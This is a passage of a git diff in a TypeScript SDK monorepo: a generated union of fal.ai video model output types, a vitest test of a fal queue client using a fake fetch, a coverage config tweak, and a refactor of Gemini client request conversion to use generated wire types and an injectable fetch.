OutputFalAiBytedanceSeedanceV15ProImageToVideo + | OutputFalAiBytedanceSeedanceV15ProTextToVideo + | OutputFalAiBytedanceSeedanceV1ProFastImageToVideo + | OutputFalAiBytedanceSeedanceV1ProFastTextToVideo + | OutputFalAiBytedanceSeedanceV1ProImageToVideo + | OutputFalAiBytedanceSeedanceV1ProTextToVideo + | OutputFalAiCreatifyAurora + | OutputFalAiDavinciMagihuman + | OutputFalAiDepthAnythingVideo + | OutputFalAiDwposeVideo + | OutputFalAiEchomimicV3 + | OutputFalAiElevenlabsDubbing + | OutputFalAiFfmpegApiCompose + | OutputFalAiFfmpegApiImagesToVideo + | OutputFalAiFfmpegApiMergeAudioVideo + | OutputFalAiFfmpegApiMergeVideos + | OutputFalAiFilmVideo + | OutputFalAiFlashhead + | OutputFalAiFlux3ActionSo101 + | OutputFalAiFramepack + | OutputFalAiFramepackF1 + | OutputFalAiFramepackFlf2V + | OutputFalAiHeygenAvatar3DigitalTwin + | OutputFalAiHeygenAvatar4DigitalTwin + | OutputFalAiHeygenAvatar4ImageToVideo + | OutputFalAiHeygenAvatar5DigitalTwin + | OutputFalAiHeygenV2TranslatePrecision + | OutputFalAiHeygenV2TranslateSpeed + | OutputFalAiHeygenV2VideoAgent + | OutputFalAiHeygenV3FillerWordRemoval + | OutputFalAiHeygenV3LipsyncPrecision + | OutputFalAiHeygenV3LipsyncSpeed + | OutputFalAiHeygenV3VideoAgent + | OutputFalAiHunyuanVideo + | OutputFalAiHunyuanVideoFoley + | OutputFalAiHunyuanVideoImageToVideo + | OutputFalAiHunyuanVideoV15ImageToVideo + | OutputFalAiHunyuanVideoV15TextToVideo + | OutputFalAiHunyuanVideoVideoToVideo + | OutputFalAiIdV2V + | OutputFalAiIdV2VRelight + | OutputFalAiInfinityStarTextToVideo + | OutputFalAiKandinsky5ProImageToVideo + | OutputFalAiKandinsky5ProTextToVideo + | OutputFalAiKandinsky5TextToVideo + | OutputFalAiKandinsky5TextToVideoDistill + | OutputFalAiKandinsky6LiteImageToVideo + | OutputFalAiKandinsky6LiteTextToVideo + | OutputFalAiKandinsky6ProImageToVideo + | OutputFalAiKandinsky6ProTextToVideo + | OutputFalAiKandinsky6Vsr + | OutputFalAiKandinsky6VsrLite + | OutputFalAiKlingVideoAiAvatarV2Pro + | OutputFalAiKlingVideoAiAvatarV2Standard + | OutputFalAiKlingVideoLipsyncAudioToVideo + | OutputFalAiKlingVideoLipsyncTextToVideo + | OutputFalAiKlingVideoO1ImageToVideo + | OutputFalAiKlingVideoO1ReferenceToVideo + | OutputFalAiKlingVideoO1StandardImageToVideo + | OutputFalAiKlingVideoO1StandardReferenceToVideo + | OutputFalAiKlingVideoO1StandardVideoToVideoEdit + | OutputFalAiKlingVideoO1StandardVideoToVideoReference + | OutputFalAiKlingVideoO1VideoToVideoEdit + | OutputFalAiKlingVideoO1VideoToVideoReference + | OutputFalAiKlingVideoO34KImageToVideo + | OutputFalAiKlingVideoO34KReferenceToVideo + | OutputFalAiKlingVideoO34KTextToVideo + | OutputFalAiKlingVideoO34KVideoToVideoEdit + | OutputFalAiKlingVideoO34KVideoToVideoReference + | OutputFalAiKlingVideoO3ProImageToVideo + | OutputFalAiKlingVideoO3ProReferenceToVideo + | OutputFalAiKlingVideoO3ProTextToVideo + | OutputFalAiKlingVideoO3ProVideoToVideoEdit + | OutputFalAiKlingVideoO3ProVideoToVideoReference + | OutputFalAiKlingVideoO3StandardImageToVideo + | OutputFalAiKlingVideoO3StandardReferenceToVideo + | OutputFalAiKlingVideoO3StandardTextToVideo + | OutputFalAiKlingVideoO3StandardVideoToVideoEdit + | OutputFalAiKlingVideoO3StandardVideoToVideoReference + | OutputFalAiKlingVideoV15ProEffects + | OutputFalAiKlingVideoV16ProEffects + | OutputFalAiKlingVideoV16StandardEffects + | OutputFalAiKlingVideoV1ProAiAvatar + | OutputFalAiKlingVideoV1StandardAiAvatar + | OutputFalAiKlingVideoV1StandardEffects + | OutputFalAiKlingVideoV25TurboProImageToVideo + | OutputFalAiKlingVideoV25TurboProTextToVideo + | OutputFalAiKlingVideoV25TurboStandardImageToVideo + | OutputFalAiKlingVideoV26ProImageToVideo + | OutputFalAiKlingVideoV26ProMotionControl + | OutputFalAiKlingVideoV26ProTextToVideo + | OutputFalAiKlingVideoV26StandardMotionControl + | OutputFalAiKlingVideoV34KImageToVideo + | OutputFalAiKlingVideoV34KTextToVideo + | OutputFalAiKlingVideoV3ProImageToVideo + | OutputFalAiKlingVideoV3ProMotionControl + | OutputFalAiKlingVideoV3ProTextToVideo + | OutputFalAiKlingVideoV3StandardImageToVideo + | OutputFalAiKlingVideoV3StandardMotionControl + | OutputFalAiKlingVideoV3StandardTextToVideo + | OutputFalAiKlingVideoV3TurboProImageToVideo + | OutputFalAiKlingVideoV3TurboProTextToVideo + | OutputFalAiKlingVideoV3TurboStandardImageToVideo + | OutputFalAiKlingVideoV3TurboStandardTextToVideo + | OutputFalAiKreaWan14BTextToVideo + | OutputFalAiKreaWan14BVideoToVideo + | OutputFalAiLatentsync + | OutputFalAiLightxRecamera + | OutputFalAiLightxRelight + | OutputFalAiLivePortrait + | OutputFalAiLongcatSingleAvatarAudioToVideo + | OutputFalAiLongcatSingleAvatarImageAudioToVideo + | OutputFalAiLongcatVideoDistilledImageToVideo480P + | OutputFalAiLongcatVideoDistilledImageToVideo720P + | OutputFalAiLongcatVideoDistilledTextToVideo480P + | OutputFalAiLongcatVideoDistilledTextToVideo720P + | OutputFalAiLongcatVideoImageToVideo480P + | OutputFalAiLongcatVideoImageToVideo720P + | OutputFalAiLongcatVideoTextToVideo480P + | OutputFalAiLongcatVideoTextToVideo720P + | OutputFalAiLtx2322BAudioToVideo + | OutputFalAiLtx2322BAudioToVideoLora + | OutputFalAiLtx2322BDistilledAudioToVideo + | OutputFalAiLtx2322BDistilledAudioToVideoLora + | OutputFalAiLtx2322BDistilledImageToVideo + | OutputFalAiLtx2322BDistilledImageToVideoLora + | OutputFalAiLtx2322BDistilledReferenceVideoToVideo + | OutputFalAiLtx2322BDistilledReferenceVideoToVideoLora + | OutputFalAiLtx2322BDistilledTextToVideo + | OutputFalAiLtx2322BDistilledTextToVideoLora + | OutputFalAiLtx2322BDistilledVideoToVideo + | OutputFalAiLtx2322BDistilledVideoToVideoLora + | OutputFalAiLtx2322BExtendVideo + | OutputFalAiLtx2322BExtendVideoLora + | OutputFalAiLtx2322BImageToVideo + | OutputFalAiLtx2322BImageToVideoLora + | OutputFalAiLtx2322BReferenceVideoToVideo + | OutputFalAiLtx2322BReferenceVideoToVideoLora + | OutputFalAiLtx2322BTextToVideo + | OutputFalAiLtx2322BTextToVideoLora + | OutputFalAiLtx2322BVideoToVideo + | OutputFalAiLtx2322BVideoToVideoLora + | OutputFalAiLtx23QualityAudioToVideo + | OutputFalAiLtx23QualityAudioToVideoLora + | OutputFalAiLtx23QualityCleanPlate + | OutputFalAiLtx23QualityColorization + | OutputFalAiLtx23QualityCrossEyed + | OutputFalAiLtx23QualityDayToNight + | OutputFalAiLtx23QualityDeblur + | OutputFalAiLtx23QualityDecompression + | OutputFalAiLtx23QualityExtendVideo + | OutputFalAiLtx23QualityExtendVideoLora + | OutputFalAiLtx23QualityHdr + | OutputFalAiLtx23QualityHdrLora + | OutputFalAiLtx23QualityImageToVideo + | OutputFalAiLtx23QualityImageToVideoLora + | OutputFalAiLtx23QualityIngredient + | OutputFalAiLtx23QualityInpaint + | OutputFalAiLtx23QualityInpaintLora + | OutputFalAiLtx23QualityInstantShave + | OutputFalAiLtx23QualityOutpaint + | OutputFalAiLtx23QualityOutpaintLora + | OutputFalAiLtx23QualityReferenceVideoToVideo + | OutputFalAiLtx23QualityReferenceVideoToVideoLora + | OutputFalAiLtx23QualityRenderToReal + | OutputFalAiLtx23QualityTextToVideo + | OutputFalAiLtx23QualityTextToVideoLora + | OutputFalAiLtx23QualityWaterSimulation + | OutputFalAiLtx23AudioToVideo + | OutputFalAiLtx23ExtendVideo + | OutputFalAiLtx23ImageToVideo + | OutputFalAiLtx23ImageToVideoFast + | OutputFalAiLtx23Reframe + | OutputFalAiLtx23RetakeVideo + | OutputFalAiLtx23TextToVideo + | OutputFalAiLtx23TextToVideoFast + | OutputFalAiLtxVideo + | OutputFalAiLtxVideo13BDistilled + | OutputFalAiLtxVideo13BDistilledExtend + | OutputFalAiLtxVideo13BDistilledImageToVideo + | OutputFalAiLtxVideo13BDistilledMulticonditioning + | OutputFalAiLtxVideoImageToVideo + | OutputFalAiLtxv13B098Distilled + | OutputFalAiLtxv13B098DistilledExtend + | OutputFalAiLtxv13B098DistilledImageToVideo + | OutputFalAiLtxv13B098DistilledMulticonditioning + | OutputFalAiMagiDistilled + | OutputFalAiMagiDistilledExtendVideo + | OutputFalAiMagiDistilledImageToVideo + | OutputFalAiMinimaxHailuo02FastImageToVideo + | OutputFalAiMinimaxHailuo02ProImageToVideo + | OutputFalAiMinimaxHailuo02ProTextToVideo + | OutputFalAiMinimaxHailuo02StandardImageToVideo + | OutputFalAiMinimaxHailuo02StandardTextToVideo + | OutputFalAiMinimaxHailuo23FastProImageToVideo + | OutputFalAiMinimaxHailuo23FastStandardImageToVideo + | OutputFalAiMinimaxHailuo23ProImageToVideo + | OutputFalAiMinimaxHailuo23ProTextToVideo + | OutputFalAiMinimaxHailuo23StandardImageToVideo + | OutputFalAiMinimaxHailuo23StandardTextToVideo + | OutputFalAiMinimaxVideo01 + | OutputFalAiMinimaxVideo01Director + | OutputFalAiMinimaxVideo01DirectorImageToVideo + | OutputFalAiMinimaxVideo01Live + | OutputFalAiMinimaxVideo01LiveImageToVideo + | OutputFalAiMinimaxVideo01SubjectReference + | OutputFalAiMinimaxVideo01ImageToVideo + | OutputFalAiMmaudioV2 + | OutputFalAiMotionToCodeGlsl + | OutputFalAiMotionToCodeGsap + | OutputFalAiOneToAllAnimation13B + | OutputFalAiOneToAllAnimation14B + | OutputFalAiOvi + | OutputFalAiOviImageToVideo + | OutputFalAiPixverseC1ImageToVideo + | OutputFalAiPixverseC1ReferenceToVideo + | OutputFalAiPixverseC1TextToVideo + | OutputFalAiPixverseC1Transition + | OutputFalAiPixverseExtend + | OutputFalAiPixverseExtendFast + | OutputFalAiPixverseLipsync + | OutputFalAiPixverseSoundEffects + | OutputFalAiPixverseSwap + | OutputFalAiPixverseV35Effects + | OutputFalAiPixverseV35ImageToVideo + | OutputFalAiPixverseV35ImageToVideoFast + | OutputFalAiPixverseV35TextToVideo + | OutputFalAiPixverseV35TextToVideoFast + | OutputFalAiPixverseV35Transition + | OutputFalAiPixverseV45Effects + | OutputFalAiPixverseV45ImageToVideo + | OutputFalAiPixverseV45ImageToVideoFast + | OutputFalAiPixverseV45TextToVideo + | OutputFalAiPixverseV45TextToVideoFast + | OutputFalAiPixverseV45Transition + | OutputFalAiPixverseV4Effects + | OutputFalAiPixverseV4ImageToVideo + | OutputFalAiPixverseV4ImageToVideoFast + | OutputFalAiPixverseV4TextToVideo + | OutputFalAiPixverseV4TextToVideoFast + | OutputFalAiPixverseV55Effects + | OutputFalAiPixverseV55ImageToVideo + | OutputFalAiPixverseV55TextToVideo + | OutputFalAiPixverseV55Transition + | OutputFalAiPixverseV56ImageToVideo + | OutputFalAiPixverseV56TextToVideo + | OutputFalAiPixverseV56Transition + | OutputFalAiPixverseV5Effects + | OutputFalAiPixverseV5ImageToVideo + | OutputFalAiPixverseV5TextToVideo + | OutputFalAiPixverseV5Transition + | OutputFalAiPixverseV6Extend + | OutputFalAiPixverseV6ImageToVideo + | OutputFalAiPixverseV6TextToVideo + | OutputFalAiPixverseV6Transition + | OutputFalAiRifeVideo + | OutputFalAiSadtalker + | OutputFalAiSadtalkerReference + | OutputFalAiSam31Video + | OutputFalAiSam31VideoRle + | OutputFalAiSam3Video + | OutputFalAiSam3VideoRle + | OutputFalAiSam2Video + | OutputFalAiScail2 + | OutputFalAiSeedvrUpscaleVideo + | OutputFalAiSyncLipsync + | OutputFalAiSyncLipsyncReact1 + | OutputFalAiSyncLipsyncV2 + | OutputFalAiSyncLipsyncV2Pro + | OutputFalAiSyncLipsyncV3 + | OutputFalAiSyncLipsyncV3ImageToVideo + | OutputFalAiThinksound + | OutputFalAiThinksoundAudio + | OutputFalAiVideoUpscaler + | OutputFalAiViduImageToVideo + | OutputFalAiViduQ1ImageToVideo + | OutputFalAiViduQ1ReferenceToVideo + | OutputFalAiViduQ1StartEndToVideo + | OutputFalAiViduQ1TextToVideo + | OutputFalAiViduQ2ImageToVideoPro + | OutputFalAiViduQ2ImageToVideoTurbo + | OutputFalAiViduQ2ReferenceToVideoPro + | OutputFalAiViduQ2TextToVideo + | OutputFalAiViduQ2VideoExtensionPro + | OutputFalAiViduQ3ImageToVideo + | OutputFalAiViduQ3ImageToVideoTurbo + | OutputFalAiViduQ3ReferenceToVideoMix + | OutputFalAiViduQ3TextToVideo + | OutputFalAiViduQ3TextToVideoTurbo + | OutputFalAiViduQ4ImageToVideo + | OutputFalAiViduQ4ReferenceToVideo + | OutputFalAiViduReferenceToVideo + | OutputFalAiViduStartEndToVideo + | OutputFalAiViduTemplateToVideo + | OutputFalAiVoidVideoInpainting + | OutputFalAiWan22VaceFunA14BDepth + | OutputFalAiWan22VaceFunA14BInpainting + | OutputFalAiWan22VaceFunA14BOutpainting + | OutputFalAiWan22VaceFunA14BReframe + | OutputFalAiWan25PreviewImageToVideo + | OutputFalAiWan25PreviewTextToVideo + | OutputFalAiWanI2V + | OutputFalAiWanI2VLora + | OutputFalAiWanProImageToVideo + | OutputFalAiWanProTextToVideo + | OutputFalAiWanT2VLora + | OutputFalAiWanVace14B + | OutputFalAiWanVace14BDepth + | OutputFalAiWanVace14BInpainting + | OutputFalAiWanVace14BOutpainting + | OutputFalAiWanVace14BPose + | OutputFalAiWanVace14BReframe + | OutputFalAiWanVaceAppsLongReframe + | OutputFalAiWanVaceAppsVideoEdit + | OutputFalAiWanV2214BAnimateMove + | OutputFalAiWanV2214BAnimateReplace + | OutputFalAiWanV2214BSpeechToVideo + | OutputFalAiWanV225BImageToVideo + | OutputFalAiWanV225BTextToVideo + | OutputFalAiWanV225BTextToVideoDistill + | OutputFalAiWanV225BTextToVideoFastWan + | OutputFalAiWanV22A14BImageToVideo + | OutputFalAiWanV22A14BImageToVideoLora + | OutputFalAiWanV22A14BImageToVideoTurbo + | OutputFalAiWanV22A14BTextToVideo + | OutputFalAiWanV22A14BTextToVideoLora + | OutputFalAiWanV22A14BTextToVideoTurbo + | OutputFalAiWanV22A14BVideoToVideo + | OutputFalAiWanV27EditVideo + | OutputFalAiWanV27ImageToVideo + | OutputFalAiWanV27ReferenceToVideo + | OutputFalAiWanV27TextToVideo + | OutputFalAiWorkflowUtilitiesAutoSubtitle + | OutputFalAiWorkflowUtilitiesBlendVideo + | OutputFalAiWorkflowUtilitiesReverseVideo + | OutputFalAiWorkflowUtilitiesScaleVideo + | OutputFalAiWorkflowUtilitiesTrimVideo + | OutputGoogleGeminiOmniFlash + | OutputGoogleGeminiOmniFlashEdit + | OutputGoogleGeminiOmniFlashImageToVideo + | OutputGoogleGeminiOmniFlashReferenceToVideo + | OutputGoogleGeminiOmniFlashV11Edit + | OutputGoogleGeminiOmniFlashV11ImageToVideo + | OutputGoogleGeminiOmniFlashV11ReferenceToVideo + | OutputGoogleGeminiOmniFlashV11TextToVideo + | OutputGoogleGeminiOmniFlashV12Edit + | OutputGoogleGeminiOmniFlashV12Extend + | OutputGoogleGeminiOmniFlashV12ImageToVideo + | OutputGoogleGeminiOmniFlashV12ReferenceToVideo + | OutputGoogleGeminiOmniFlashV12TextToVideo + | OutputGoogleGeminiOmniFlashV12Upscale + | OutputHeygenHeygenVideoImageToVideo + | OutputHeygenHeygenVideoReferenceToVideo + | OutputHeygenHeygenVideoTextToVideo + | OutputKlingV4FlashImageToVideo + | OutputKlingV4FlashReferenceToVideo + | OutputKlingV4FlashTextToVideo + | OutputKlingV4FlashVideoToVideo + | OutputKlingV4ImageToVideo + | OutputKlingV4ReferenceToVideo + | OutputKlingV4TextToVideo + | OutputKlingV4VideoToVideoEdit + | OutputLightricksLtx25AudioToVideoFast + | OutputLightricksLtx25AudioToVideoPro + | OutputLightricksLtx25ImageToVideoFast + | OutputLightricksLtx25ImageToVideoPro + | OutputLightricksLtx25TextToVideoFast + | OutputLightricksLtx25TextToVideoPro + | OutputLumaAgentRayV32ImageToVideo + | OutputLumaAgentRayV32Reframe + | OutputLumaAgentRayV32TextToVideo + | OutputLumaAgentRayV32VideoToVideo + | OutputMinimaxH3MaxTurboExtendVideo + | OutputMinimaxH3MaxTurboImageToVideo + | OutputMinimaxH3MaxTurboReferenceToVideo + | OutputMinimaxH3MaxTurboTextToVideo + | OutputMinimaxH3Max3DToVideo + | OutputMinimaxH3MaxCameraControls + | OutputMinimaxH3MaxExtendVideo + | OutputMinimaxH3MaxImageToVideo + | OutputMinimaxH3MaxInsertVideo + | OutputMinimaxH3MaxLipSyncImageToVideo + | OutputMinimaxH3MaxRecast + | OutputMinimaxH3MaxReferenceToVideo + | OutputMinimaxH3MaxReframeVideo + | OutputMinimaxH3MaxRelight + | OutputMinimaxH3MaxStyles16BitPixel + | OutputMinimaxH3MaxStylesHandDrawn + | OutputMinimaxH3MaxStylesLowPoly + | OutputMinimaxH3MaxStylesRetroToon70S + | OutputMinimaxH3MaxStylesVhs + | OutputMinimaxH3MaxTextToVideo + | OutputMinimaxH3ImageToVideo + | OutputMinimaxH3ImageToVideoLora + | OutputMinimaxH3ReferenceToVideo + | OutputMinimaxH3ReferenceToVideoLora + | OutputMinimaxH3TextToVideo + | OutputMinimaxH3TextToVideoLora + | OutputMireloAiSfx20VideoToVideo + | OutputMoonvalleyMareyI2V + | OutputMoonvalleyMareyMotionTransfer + | OutputMoonvalleyMareyPoseTransfer + | OutputMoonvalleyMareyT2V + | OutputMurekaApiGenerateLyricsVideo + | OutputNvidiaCosmos3SuperImageToVideo + | OutputPixelcutLoopingVideo + | OutputPixelcutVideoBackgroundRemoval + | OutputPixverseMusicVideoVibemv + | OutputSoniloV11VideoToVideoMusic + | OutputSoniloV11VideoToVideoSoundEffects + | OutputTbcMischief1ImageToVideo + | OutputTopazDeblurVideo + | OutputTopazDenoiseVideo + | OutputTopazInterpolateVideo + | OutputTopazSdrToHdrVideo + | OutputTopazUpscaleVideoCreative + | OutputTopazUpscaleVideoGenerative + | OutputTopazUpscaleVideoPrecision + | OutputVastEdenLive14BVideo + | OutputVastEdenLive5BVideo + | OutputVeedAvatarsAudioToVideo + | OutputVeedAvatarsTextToVideo + | OutputVeedDubbing + | OutputVeedDubbingPro + | OutputVeedFabric10 + | OutputVeedFabric10Fast + | OutputVeedFabric10Text + | OutputVeedLipsync + | OutputVeedLipsyncV2 + | OutputVeedSubtitles + | OutputVeedVideoBackgroundRemoval + | OutputVeedVideoBackgroundRemovalFast + | OutputVeedVideoBackgroundRemovalGreenScreen + | OutputWanV26ImageToVideo + | OutputWanV26ImageToVideoFlash + | OutputWanV26ReferenceToVideo + | OutputWanV26ReferenceToVideoFlash + | OutputWanV26TextToVideo + | OutputXaiGrokImagineVideoEditVideo + | OutputXaiGrokImagineVideoExtendVideo + | OutputXaiGrokImagineVideoImageToVideo + | OutputXaiGrokImagineVideoReferenceToVideo + | OutputXaiGrokImagineVideoTextToVideo + | OutputXaiGrokImagineVideoV15ImageToVideo + | OutputXaiGrokImagineVideoV15LiteImageToVideo + | OutputXaiGrokImagineVideoV15LiteTextToVideo + | OutputXaiGrokImagineVideoV15ReferenceToVideo + | OutputXaiGrokImagineVideoV15TextToVideo + +export type FalGetEndpointIdRequestsRequestIdOptions = { + body?: never + path: FalGetEndpointIdRequestsRequestIdPath + query?: never + headers?: never +} + +export type FalGetEndpointIdRequestsRequestIdResponses = { + '200': FalGetEndpointIdRequestsRequestIdStatus200 +} + +/** + * @description Union of all possible responses + */ +export type FalGetEndpointIdRequestsRequestIdResponse = + FalGetEndpointIdRequestsRequestIdStatus200 diff --git a/packages/ai-fal/tests/generated-client.test.ts b/packages/ai-fal/tests/generated-client.test.ts new file mode 100644 index 0000000000..dcc95f7915 --- /dev/null +++ b/packages/ai-fal/tests/generated-client.test.ts @@ -0,0 +1,63 @@ +import { describe, expect, it } from 'vitest' +import { createFalClient } from '../src/client' + +/** The queue submit and result calls go through the generated fal client. */ +function fakeFal() { + const calls: Array<{ url: string; init: RequestInit }> = [] + const fetchImpl: typeof fetch = async (input, init = {}) => { + calls.push({ url: String(input), init }) + return Response.json( + { request_id: 'req-1', images: [] }, + { headers: { 'x-fal-request-id': 'req-1' } }, + ) + } + return { calls, fetchImpl } +} + +describe('generated fal queue client', () => { + it('submits to the queue host with the endpoint id slashes kept', async () => { + const { calls, fetchImpl } = fakeFal() + const client = createFalClient({ credentials: 'k', fetch: fetchImpl }) + + await client.queue.submit('fal-ai/flux/dev', { input: { prompt: 'a cat' } }) + + expect(calls).toEqual([ + { + url: 'https://queue.fal.run/fal-ai/flux/dev', + init: expect.objectContaining({ + method: 'POST', + body: JSON.stringify({ prompt: 'a cat' }), + headers: expect.objectContaining({ + Authorization: 'Key k', + 'Content-Type': 'application/json', + 'x-fal-queue-priority': 'normal', + }), + }), + }, + ]) + }) + + it('fetches the result from the owner/alias queue path', async () => { + const { calls, fetchImpl } = fakeFal() + const client = createFalClient({ credentials: 'k', fetch: fetchImpl }) + + const result = await client.queue.result('fal-ai/flux/dev', { + requestId: 'req-1', + }) + + expect(result).toEqual({ + data: { request_id: 'req-1', images: [] }, + requestId: 'req-1', + }) + expect(calls).toEqual([ + { + url: 'https://queue.fal.run/fal-ai/flux/requests/req-1', + init: expect.objectContaining({ + method: 'GET', + body: undefined, + headers: expect.objectContaining({ Authorization: 'Key k' }), + }), + }, + ]) + }) +}) diff --git a/packages/ai-fal/vite.config.ts b/packages/ai-fal/vite.config.ts index 982be0e207..edeabbb895 100644 --- a/packages/ai-fal/vite.config.ts +++ b/packages/ai-fal/vite.config.ts @@ -20,6 +20,7 @@ const config = defineConfig({ '**/*.test.ts', '**/*.config.ts', '**/types.ts', + 'src/generated/', ], include: ['src/**/*.ts'], }, diff --git a/packages/ai-gemini/src/client/api.ts b/packages/ai-gemini/src/client/api.ts index d6dff43240..1b2a8ad9d5 100644 --- a/packages/ai-gemini/src/client/api.ts +++ b/packages/ai-gemini/src/client/api.ts @@ -27,6 +27,8 @@ export interface ApiRequest { /** Per-call options. They are merged over the client options. */ httpOptions?: HttpOptions abortSignal?: AbortSignal + /** The headers of a generated body (its content type). Others win. */ + bodyHeaders?: Record } const DEFAULT_BASE_URL = 'https://generativelanguage.googleapis.com/' @@ -167,8 +169,15 @@ const sleep = (ms: number) => new Promise((resolve) => setTimeout(resolve, ms)) * * @param options - The SDK client options. `apiKey` is required here; the * caller sends Vertex AI and Google auth to the real SDK. + * @param fetchFn - The `fetch` to send with. Defaults to the global `fetch`. */ -export function createApiClient(options: GoogleGenAIOptions) { +export function createApiClient( + options: GoogleGenAIOptions, + fetchFn?: typeof fetch, +) { + // Looks up the global `fetch` on each call when none is given. + const send = (url: string, init: RequestInit) => + fetchFn ? fetchFn(url, init) : fetch(url, init) const { apiKey } = options const baseUrl = options.httpOptions?.baseUrl ?? readEnv('GOOGLE_GEMINI_BASE_URL') @@ -185,12 +194,12 @@ export function createApiClient(options: GoogleGenAIOptions) { // `retryOptions`, with the p-retry backoff (1 s, 2 s, 4 s, ...). const apiCall = async (url: string, init: RequestInit) => { const { retryOptions } = clientHttpOptions - if (!retryOptions) return fetch(url, init) + if (!retryOptions) return send(url, init) const retries = (retryOptions.attempts ?? 5) - 1 for (let attempt = 0; ; attempt++) { let error: unknown try { - const response = await fetch(url, init) + const response = await send(url, init) if (response.ok) return response if (!RETRY_STATUS_CODES.includes(response.status)) { throw new Error( @@ -252,6 +261,9 @@ export function createApiClient(options: GoogleGenAIOptions) { for (const [name, value] of Object.entries(httpOptions.headers ?? {})) { headers.append(name, value) } + for (const [name, value] of Object.entries(req.bodyHeaders ?? {})) { + if (!headers.has(name)) headers.set(name, value) + } if (timeout > 0) { headers.append('X-Server-Timeout', String(Math.ceil(timeout / 1000))) } diff --git a/packages/ai-gemini/src/client/convert.ts b/packages/ai-gemini/src/client/convert.ts index 611360523c..a107b3782f 100644 --- a/packages/ai-gemini/src/client/convert.ts +++ b/packages/ai-gemini/src/client/convert.ts @@ -10,6 +10,7 @@ import type { ContentListUnion, ContentUnion, EmbedContentParameters, + FunctionDeclaration, GenerateContentConfig, GenerateContentParameters, GenerateContentResponse, @@ -25,6 +26,24 @@ import type { ToolConfig, ToolUnion, } from '@google/genai' +import { schemaTypeEnum } from '../generated/client/types' +import type { + Content as WireContent, + EmbedContentRequest, + FunctionDeclaration as WireFunctionDeclaration, + GeminiPostV1BetaModelsModelsidBatchembedcontentsBody, + GeminiPostV1BetaModelsModelsidGeneratecontentBody, + GenerationConfig, + GoogleMaps as WireGoogleMaps, + GoogleSearch as WireGoogleSearch, + ImageConfig as WireImageConfig, + Part as WirePart, + SafetySetting as WireSafetySetting, + Schema as WireSchema, + SchemaTypeEnumKey, + Tool as WireTool, + ToolConfig as WireToolConfig, +} from '../generated/client/types' /** A JSON object for the request body. */ export type WireObject = Record @@ -161,26 +180,14 @@ export function tContents(origin: ContentListUnion | null | undefined) { return result } -const SCHEMA_TYPES = [ - 'TYPE_UNSPECIFIED', - 'STRING', - 'NUMBER', - 'INTEGER', - 'BOOLEAN', - 'ARRAY', - 'OBJECT', - 'NULL', -] - -const toSchemaType = (type: string) => - SCHEMA_TYPES.includes(type.toUpperCase()) - ? type.toUpperCase() - : 'TYPE_UNSPECIFIED' +const toSchemaType = (type: string): SchemaTypeEnumKey => + Object.values(schemaTypeEnum).find((name) => name === type.toUpperCase()) ?? + 'TYPE_UNSPECIFIED' // Port of the SDK `processJsonSchema`: JSON Schema to the Gemini `Schema`. -export function tSchema(input: unknown): WireObject { +export function tSchema(input: unknown): WireSchema { let schema = isObject(input) ? input : {} - const result: WireObject = {} + const result: WireSchema = {} if (schema.type && schema.anyOf) { throw new Error('type and anyOf cannot be both populated.') } @@ -215,7 +222,7 @@ export function tSchema(input: unknown): WireObject { } else if (name === 'items') { result.items = tSchema(value) } else if (name === 'anyOf') { - const list: Array = [] + const list: Array = [] for (const item of Array.isArray(value) ? value : []) { if (isObject(item) && item.type === 'null') { result.nullable = true @@ -232,7 +239,8 @@ export function tSchema(input: unknown): WireObject { ]), ) } else if (name !== 'additionalProperties') { - result[name] = value + // The SDK copies every other JSON Schema keyword as it is. + Object.assign(result, { [name]: value }) } } return result @@ -249,33 +257,22 @@ function tSpeechConfig(speechConfig: SpeechConfigUnion): SpeechConfig { const hasJsonSchemaKey = (value: unknown) => isObject(value) && Object.keys(value).includes('$schema') -// Port of `tTool`. The SDK changes the caller's tool in place; this returns -// a copy instead. -function tTool(tool: Tool): Tool { - if (!tool.functionDeclarations) return tool - return { - ...tool, - functionDeclarations: tool.functionDeclarations.map((input) => { - const declaration = { ...input } - if (declaration.parameters) { - if (!hasJsonSchemaKey(declaration.parameters)) { - declaration.parameters = tSchema(declaration.parameters) - } else if (!declaration.parametersJsonSchema) { - declaration.parametersJsonSchema = declaration.parameters - delete declaration.parameters - } - } - if (declaration.response) { - if (!hasJsonSchemaKey(declaration.response)) { - declaration.response = tSchema(declaration.response) - } else if (!declaration.responseJsonSchema) { - declaration.responseJsonSchema = declaration.response - delete declaration.response - } - } - return declaration - }), +// Port of `tTool` for one declaration. The SDK changes the caller's tool in +// place; this returns a copy instead. +function functionDeclarationToWire(input: FunctionDeclaration) { + const { parameters, response, ...rest } = input + const to: WireFunctionDeclaration = rest + if (parameters) { + if (!hasJsonSchemaKey(parameters)) to.parameters = tSchema(parameters) + else if (!to.parametersJsonSchema) to.parametersJsonSchema = parameters + else to.parameters = parameters + } + if (response) { + if (!hasJsonSchemaKey(response)) to.response = tSchema(response) + else if (!to.responseJsonSchema) to.responseJsonSchema = response + else to.response = response } + return to } function tTools(tools: ReadonlyArray | null | undefined) { @@ -324,17 +321,13 @@ export function tBytes(bytes: unknown) { } function partToWire(part: Part) { - const to: WireObject = pick(part, [ + const to: WirePart = pick(part, [ 'mediaResolution', 'codeExecutionResult', 'executableCode', - 'fileData', 'functionCall', - 'functionResponse', - 'inlineData', 'text', 'thought', - 'thoughtSignature', 'videoMetadata', 'toolCall', 'toolResponse', @@ -348,15 +341,24 @@ function partToWire(part: Part) { rejectVertexOnly(part.functionCall, ['partialArgs', 'willContinue']) to.functionCall = pick(part.functionCall, ['id', 'args', 'name']) } + if (part.functionResponse != null) { + to.functionResponse = part.functionResponse + } + if (part.thoughtSignature != null) { + to.thoughtSignature = part.thoughtSignature + } if (part.inlineData != null) { rejectVertexOnly(part.inlineData, ['displayName']) - to.inlineData = pick(part.inlineData, ['data', 'mimeType']) + to.inlineData = pick(part.inlineData, ['mimeType']) + if (part.inlineData.data != null) { + to.inlineData.data = part.inlineData.data + } } return to } export function contentToWire(content: Content) { - const to: WireObject = {} + const to: WireContent = {} if (content.parts != null) to.parts = content.parts.map(partToWire) if (content.role != null) to.role = content.role return to @@ -364,16 +366,22 @@ export function contentToWire(content: Content) { export function safetySettingToWire(setting: SafetySetting) { rejectVertexOnly(setting, ['method']) - return pick(setting, ['category', 'threshold']) + const to: WireSafetySetting = pick(setting, ['threshold']) + if (setting.category != null) { + // @ts-expect-error public type mismatch: HarmCategory vs SafetySettingCategoryEnumKey, category (HARM_CATEGORY_IMAGE_* are Vertex AI only) + to.category = setting.category + } + return to } function googleSearchToWire(search: GoogleSearch) { rejectVertexOnly(search, ['blockingConfidence', 'excludeDomains']) - return pick(search, ['searchTypes', 